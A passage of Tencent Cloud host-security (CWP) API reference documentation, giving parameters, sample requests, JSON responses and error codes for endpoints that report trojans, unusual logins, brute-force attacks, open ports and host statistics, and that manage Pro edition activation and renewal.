"MachineIp": "10.10.10.12",
"VulName": "Vulnerability name",
"Description": "Vulnerability description",
"VulType": "WEB",
"VulStatus": "FIXED",
"LastScanTime": "2018-10-11 12:23:22"
}
],
"TotalCount": 100
}
}
```

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5. Developer Resources

API Explorer

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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DescribeWeeklyReportNonlocalLoginPlaces

Last updated：2020-07-31 11:18:43

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the unusual login location data in the weekly CWP Pro report.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeWeeklyReportNonlocalLoginPlaces.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
BeginDate	Yes	Date	Weekly CWP Pro report start time.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.

3. Output Parameters

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Parameter Name	Type	Description
WeeklyReportNonlocalLoginPlaces	Array of WeeklyReportNonlocalLoginPlace	Unusual login location data in weekly CWP Pro report
TotalCount	Integer	Total number of records.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting unusual login location data in weekly CWP Pro report

This example shows you how to get the unusual login location data in the weekly CWP Pro report.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeWeeklyReportNonlocalLoginPlaces
&BeginDate=2018-10-08
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"WeeklyReportNonlocalLoginPlaces": [
{
"MachineIp": "10.10.10.12",
"Username": "root",
"SrcIp": "139.12.12.12",
"Country": 1,
"Province": 1,
"City": 1,
"LoginTime": "2018-10-11 12:12:22"
}
],
"TotalCount": 100
```

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```
}
}
```

5. Developer Resources

API Explorer

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- API 3.0 Explorer

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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DescribeWeeklyReportMalwares

Last updated：2020-07-31 11:18:44

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the trojan data in the weekly CWP Pro report.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeWeeklyReportMalwares.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
BeginDate	Yes	Date	Weekly CWP Pro report start time.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.

3. Output Parameters

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Parameter Name	Type	Description
WeeklyReportMalwares	Array of WeeklyReportMalware	Trojan data in weekly CWP Pro report.
TotalCount	Integer	Total number of records.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Gets trojan data in weekly CWP Pro report

Gets trojan data in weekly CWP Pro report

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeWeeklyReportMalwares
&BeginDate=2018-10-08
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"WeeklyReportMalwares": [
{
"MachineIp": "10.10.10.12",
"FilePath": "/data/www/webshell.php",
"Md5": "a70e8beeddcf2d87c5df2d5524b4ca50",
"FindTime": "2018-10-11 12:12:22",
"Status": "UN_OPERATED"
}
],
"TotalCount": 100
}
}
```

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5. Developer Resources

API Explorer

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- API 3.0 Explorer

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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DescribeWeeklyReportInfo

Last updated：2020-07-31 11:18:44

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the details in the weekly CWP Pro report.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeWeeklyReportInfo.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
BeginDate	Yes	Date	Weekly CWP Pro report start time.

3. Output Parameters

Parameter Name	Type	Description
CompanyName	String	Account owner name.

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Parameter Name	Type	Description
MachineNum	Integer	Total number of servers.
OnlineMachineNum	Integer	Number of online CWP agents
OfflineMachineNum	Integer	Number of offline CWP agents.
ProVersionMachineNum	Integer	Number of servers on CWP Pro.
BeginDate	Date	Weekly report start time
EndDate	Date	Weekly report end time
Level	String	Security level • HIGH: high • MIDDLE: medium • LOW: low
MalwareNum	Integer	Number of trojan records.
NonlocalLoginNum	Integer	Number of unusual login locations.
BruteAttackSuccessNum	Integer	Number of successful brute force attacks.
VulNum	Integer	Number of vulnerabilities.
DownloadUrl	String	Download address for exported file.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting details in weekly CWP Pro report

This example shows you how to get the details in the weekly CWP Pro report.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeWeeklyReportInfo
&BeginDate=2018-10-08
&<Common request parameters>
```

Output Example

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```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"CompanyName": "Component name",
"MachineNum": 100,
"OnlineMachineNum": 80,
"OfflineMachineNum": 20,
"ProVersionMachineNum": 30,
"MalwareNum": 11,
"NonlocalLoginNum": 11,
"BruteAttackSuccessNum": 11,
"VulNum": 11,
"DownloadUrl": "http://download-url.com/xxx.xlsx",
"Level": "LOW",
"BeginDate": "2018-10-08",
"EndDate": "2018-10-13"
}
}
```


5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

SDK

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- Tencent Cloud SDK 3.0 for .NET

Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.

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DescribeWeeklyReportBruteAttacks

Last updated：2020-07-31 11:18:45

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the brute force attack data in the weekly CWP Pro report.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeWeeklyReportBruteAttacks.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
BeginDate	Yes	Date	Weekly CWP Pro report start time.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.

3. Output Parameters

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Parameter Name	Type	Description
WeeklyReportBruteAttacks	Array of WeeklyReportBruteAttack	Brute force attack array in weekly CWP Pro report.
TotalCount	Integer	Total number of records.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting brute force attack data in weekly CWP Pro report

This example shows you how to get the brute force attack data in the weekly CWP Pro report.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeWeeklyReportBruteAttacks
&BeginDate=2018-10-08
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"WeeklyReportMalwares": [
{
"MachineIp": "10.10.10.12",
"Username": "root",
"SrcIp": "139.12.12.12",
"AttackTime": "2018-10-11 12:12:22",
"Count": 10
}
],
"TotalCount": 100
}
}
```

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5. Developer Resources

API Explorer

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- API 3.0 Explorer

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for NodeJS
- Tencent Cloud SDK 3.0 for .NET

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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DescribeOpenPorts

Last updated：2020-07-31 11:18:46

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the port list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeOpenPorts.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	No	String	CWP agent `Uuid`. Either `Port` or `Uuid` must be specified. If `Uuid` is specified, it indicates to query the information list under the specified server.
Port	No	Integer	Open port number. Either `Port` or `Uuid` must be specified. If `Port` is specified, it indicates to query the information list under the specified port.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.

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Parameter Name	Required	Type	Description
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter. • Port - Uint64 - Required: No - Port number • ProcessName - String - Required: No - Process name • MachineIp - String - Required: No - Private IP of server

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records in port list.
OpenPorts	Array of OpenPort	Port list.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting port list

This example shows you how to get the port list.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeOpenPorts
&Port=3306
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
```

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```
"OpenPorts": [
{
"Id": 1,
"Uuid": "6b6cd843-6bc1-4011-a74c-dc3fd26a7dd1",
"Port": 3306,
"MachineIp": "10.12.13.22",
"MachineName": "h2-stevenyu",
"ProcessName": "mysql",
"Pid": 14456,
"CreateTime": "2018-01-01 12:12:12",
"ModifyTime": "2018-01-01 12:12:12"
}
],
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TotalCount": 100
}
}
```


5. Developer Resources

API Explorer

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- API 3.0 Explorer

SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for NodeJS
- Tencent Cloud SDK 3.0 for .NET

Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
MissingParameter	Missing parameter.

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RenewProVersion

Last updated：2019-06-26 20:07:59

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API (RenewProVersion) is used to renew HS Pro (prepaid).

Default request rate limit: 20/sec.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The valueused for this API: RenewProVersion.
Version	Yes	String	Common parameter. The value used for this API: 2/28/2018
Region	No	String	Common parameter. This parameter is not required for this API.
ChargePrepaid	Yes	ChargePrepaid	Purchase-related parameter.
Quuid	Yes	String	Unique ID of the host, i.e. the uuid of a CVM, or the InstanceId of a CPM.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique ID of a request, which is required for each troubleshooting case.

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4. Example

Example 1 Renew HS Pro

Input example

```
https://yunjing.tencentcloudapi.com/?Action=RenewProVersion
&ChargePrepaid.Period=1
&Quuid=add4a78a-0d59-11e8-b7ab-00e081e1a5c5
&<Common request parameters>
```

Output example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Resources for Developers

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using cloud APIs.

- API 3.0 Explorer

6. Error Codes

The following only lists the error codes related to this API. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.TradeError	Transaction error.
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
ResourceNotFound	Resource does not exist.

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OpenProVersionPrepaid

Last updated：2019-06-26 20:07:59

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API (OpenProVersionPrepaid) is used to activate HS Pro (prepaid).

Default request rate limit: 20/sec.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The valueused for this API: OpenProVersionPrepaid.
Version	Yes	String	Common parameter. The value used for this API: 2/28/2018
Region	No	String	Common parameter. This parameter is not required for this API.
ChargePrepaid	Yes	ChargePrepaid	Purchase-related parameter.
Machines.N	Yes	Array of ProVersionMachine	Array of information of the hosts with HS Pro activated.

3. Output Parameters

Parameter Name	Type	Description

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Parameter Name	Type	Description
DealIds	Array of String	Order ID list.
RequestId	String	The unique ID of a request, which is required for each troubleshooting case.

4. Example

Example 1 Activate HS Pro (prepaid)

Input example

```
https://yunjing.tencentcloudapi.com/?Action=OpenProVersionPrepaid
&ChargePrepaid.Period=1
&Machines.0.MachineType=CVM
&Machines.0.MachineRegion=ap-guangzhou
&Machines.0.Quuid=add4a78a-0d59-11e8-b7ab-00e081e1a5c5
&<Common request parameters>
```

Output example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"DealIds": [
"20171201110011"
]
}
}
```

5. Resources for Developers

API Explorer

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6. Error Codes

The following only lists the error codes related to this API. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.TradeError	Transaction error.
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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ModifyProVersionRenewFlag

Last updated：2020-07-31 11:18:42

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to modify the renewal flag of CWP Pro.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: ModifyProVersionRenewFlag.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
RenewFlag	Yes	String	Auto-renewal flag. Valid values: • NOTIFY_AND_AUTO_RENEW: notifies of expiration and auto-renews • NOTIFY_AND_MANUAL_RENEW: notifies of expiration but does not auto-renew • DISABLE_NOTIFY_AND_MANUAL_RENEW: does not notify of expiration or auto-renew
Quuid	Yes	String	Unique server ID, corresponding to `uuid` for CVM or `instanceId` for BM.

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3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Modifying the renewal flag of CWP Pro

This example shows you how to modify the renewal flag of CWP Pro.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=ModifyProVersionRenewFlag
&RenewFlag=NOTIFY_AND_AUTO_RENEW
&Quuid=add4a78a-0d59-11e8-b7ab-00e081e1a5c5
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

SDK

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- Tencent Cloud SDK 3.0 for NodeJS
- Tencent Cloud SDK 3.0 for .NET

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
ResourceNotFound	The resource does not exist.

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InquiryPriceOpenProVersionPrepaid

Last updated：2019-06-26 20:07:59

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API (InquiryPriceOpenProVersionPrepaid) is used to inquire the price for activating HS Pro (prepaid).

Default request rate limit: 20/sec.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The valueused for this API: InquiryPriceOpenProVersionPrepaid.
Version	Yes	String	Common parameter. The value used for this API: 2/28/2018
Region	No	String	Common parameter. This parameter is not required for this API.
ChargePrepaid	Yes	ChargePrepaid	Parameter for setting prepaid mode.
Machines.N	Yes	Array of ProVersionMachine	Array of the hosts with HS Pro activated.

3. Output Parameters

Parameter Name	Type	Description
OriginalPrice	Float	Original price of prepaid fees (in CNY).
DiscountPrice	Float	Discount price of prepaid fees (in CNY).

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Parameter Name	Type	Description
RequestId	String	The unique ID of a request, which is required for each troubleshooting case.

4. Example

Example 1 Inquire the price for activating HS Pro (prepaid)

Input example

```
https://yunjing.tencentcloudapi.com/?Action=InquiryPriceOpenProVersionPrepaid
&ChargePrepaid.Period=1
&Machines.0.MachineType=CVM
&Machines.0.MachineRegion=ap-guangzhou
&Machines.0.Quuid=add4a78a-0d59-11e8-b7ab-00e081e1a5c5
&<Common request parameters>
```

Output example

```
{
"Response": {
"DiscountPrice": 88.88,
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"OriginalPrice": 100
}
}
```

5. Resources for Developers

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using cloud APIs.

- API 3.0 Explorer

6. Error Codes

The following only lists the error codes related to this API. For other error codes, see Common Error Codes.

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Error Code	Description
FailedOperation.InquiryPrice	Price query failed.
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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OpenProVersion

Last updated：2020-07-31 11:18:42

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to activate CWP Pro.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: OpenProVersion.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
MachineType	Yes	String	Server type. • CVM: CVM • BM: BM
MachineRegion	Yes	String	Server region Examples: ap-guangzhou, ap-shanghai

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Parameter Name	Required	Type	Description
Quuids.N	Yes	Array of String	Server `Uuid` array. `InstanceId` for BM or `Uuid` for CVM
ActivityId	No	Integer	Event ID.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Activating CWP Pro

This example shows you how to activate CWP Pro.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=OpenProVersion
&MachineType=CVM
&MachineRegion=ap-guangzhou
&Quuids.0=add4a78a-0d59-11e8-b7ab-00e081e1a5c5
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.OpenProVersion	Failed to activate CWP Pro.
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Parameter parsing error.
LimitExceeded.AreaQuota	The maximum number of entries to be added in batches is exceeded.
MissingParameter	Missing parameter.

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Overview Statistics APIs
DescribeMachines

Last updated：2024-12-06 15:41:45

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of hosts in a specific region.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMachines.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
MachineType	Yes	String	Type of the machine's zone CVM: Cloud Virtual Machine BM: BMECM: Edge Computing Machine LH: Lighthouse Other: Hybrid Cloud Zone
MachineRegion	Yes	String	Machine region. For example, ap-guangzhou and ap-shanghai.
Limit	No	Integer	Number of returns. It is 10 by default, and the maximum value is 100.

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Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter criteria • Ips - String - required: no - query by IP • Names - String - required: no - query by instance name • InstanceIds - String - required: no - instance ID for query • Status - String - required: no - client online status (OFFLINE: offline/shut down | ONLINE: online | UNINSTALLED: not installed | AGENT_OFFLINE: agent offline | AGENT_SHUTDOWN: agent shut down) • Version - String required: no - current edition (PRO_VERSION: Pro Edition | BASIC_VERSION: Basic Edition | Flagship: Ultimate Edition | ProtectedMachines: Pro + Ultimate Editions) • Risk - String - required: no - risky host (yes) • Os - String - required: no - operating system (value of DescribeMachineOsList) Each filter criterion supports only one value. • Quuid - String - required: no - CVM instance UUID. Maximum value: 100. • AddedOnTheFifteen - String required: no - whether to query only hosts added within the last 15 days (1: yes) • TagId - String required: no - query the list of hosts associated with the specified tag
ProjectIds.N	No	Array of Integer	ID List of Businesses to which machines belong

3. Output Parameters

Parameter Name	Type	Description
Machines	Array of Machine	List of hosts
TotalCount	Integer	Number of hosts
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Getting Regional Host List

This example shows you how to get the regional host list by the API (DescribeMachines).

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMachines
<Common request parameters>

{
"Limit": 10,
"MachineRegion": "ap-shanghai",
"MachineType": "CVM",
"Filters": [
{
"Values": [
"10.0.1.1"
],
"Name": "Keywords"
}
],
"Offset": 0
}
```

Output Example

```
{
"Response": {
"Machines": [
{
"MachineName": "test",
"MachineOs": "CentOS 7.6 64-bit",
"Uuid": "3377add2-ee61-4c9a-99a3-81d259dfc11a",
"Quuid": "3377add2-ee61-4c9a-99a3-81d259dfc11a",
"MachineIp": "1.1.1.1",
"MachineWanIp": "1.1.1.1",
"InstanceState": "NORMAL",
"InstanceId": "ins-111",
"ProjectId": 0,
"VpcId": "",
```

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```
"IsProVersion": false,
"MachineStatus": "ONLINE",
"PayMode": "",
"Tag": [],
"CloudTags": null,
"MalwareNum": 0,
"VulNum": 0,
"BaselineNum": 0,
"CyberAttackNum": 0,
"InvasionNum": 3,
"SecurityStatus": "RISK",
"RegionInfo": {
"Region": "ap-nanjing",
"RegionName": "East China (Nanjing)",
"RegionId": 33,
"RegionCode": "nj",
"RegionNameEn": "East China (Nanjing)"
},
"MachineType": "CVM",
"LicenseStatus": 0,
"HasAssetScan": 0,
"KernelVersion": "3.10.0-1160.88.1.el7.x86_64",
"ProtectType": "BASIC_VERSION",
"IsAddedOnTheFifteen": 1,
"IpList": "1.1.1.1",
"Remark": "",
"MachineExtraInfo": {
"WanIP": "1.1.1.1",
"PrivateIP": "1.1.1.1",
"NetworkType": 1,
"NetworkName": "vpc-111",
"InstanceID": "ins-111",
"HostName": ""
}
}
],
"RequestId": "621b6063-12b2-43fa-809e-5481c8374c0a",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeOverviewStatistics

Last updated：2024-12-06 15:40:33

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the overview statistics.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeOverviewStatistics.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
OnlineMachineNum	Integer	Number of servers online
ProVersionMachineNum	Integer	Number of professional servers

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MalwareNum	Integer	Number of Trojan files
NonlocalLoginNum	Integer	Number of cross-region log-in
BruteAttackSuccessNum	Integer	Number of successful brute force cracking
VulNum	Integer	Number of vulnerabilities
BaseLineNum	Integer	Number of security baselines
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Overview Statistics

This example shows you how to obtain the overview statistics.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeOverviewStatistics
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"OnlineMachineNum": 1,
"ProVersionMachineNum": 1,
"MalwareNum": 1,
"NonlocalLoginNum": 1,
"BruteAttackSuccessNum": 1,
"VulNum": 1,
"BaseLineNum": 1
}
}
```

5. Developer Resources

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SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter.InvalidFormat	Incorrect parameter format.
MissingParameter	Missing parameter error.

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DescribeSecurityDynamics

Last updated：2024-12-06 15:40:19

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the dynamic message data of security events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeSecurityDynamics.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of returns. The maximum value is 100.
Offset	No	Integer	Offset. Default value: 0.

3. Output Parameters

Parameter Name	Type	Description

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SecurityDynamics	Array of SecurityDynamic	Security event message array
TotalCount	Integer	Total number of records
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Security Event Message Data

This example shows you how to obtain the security event message data.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeSecurityDynamics
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"SecurityDynamics": [
{
"Uuid": "add4a78a-0d59-11e8-b7ab-00e081e1a5c5",
"EventTime": "2018-10-08 12:12:22",
"EventType": "MALWARE",
"Message": "Five malicious files are found on the host 10.10.10.12.",
"SecurityLevel": "xx"
}
],
"TotalCount": 100
}
}
```

5. Developer Resources

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SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
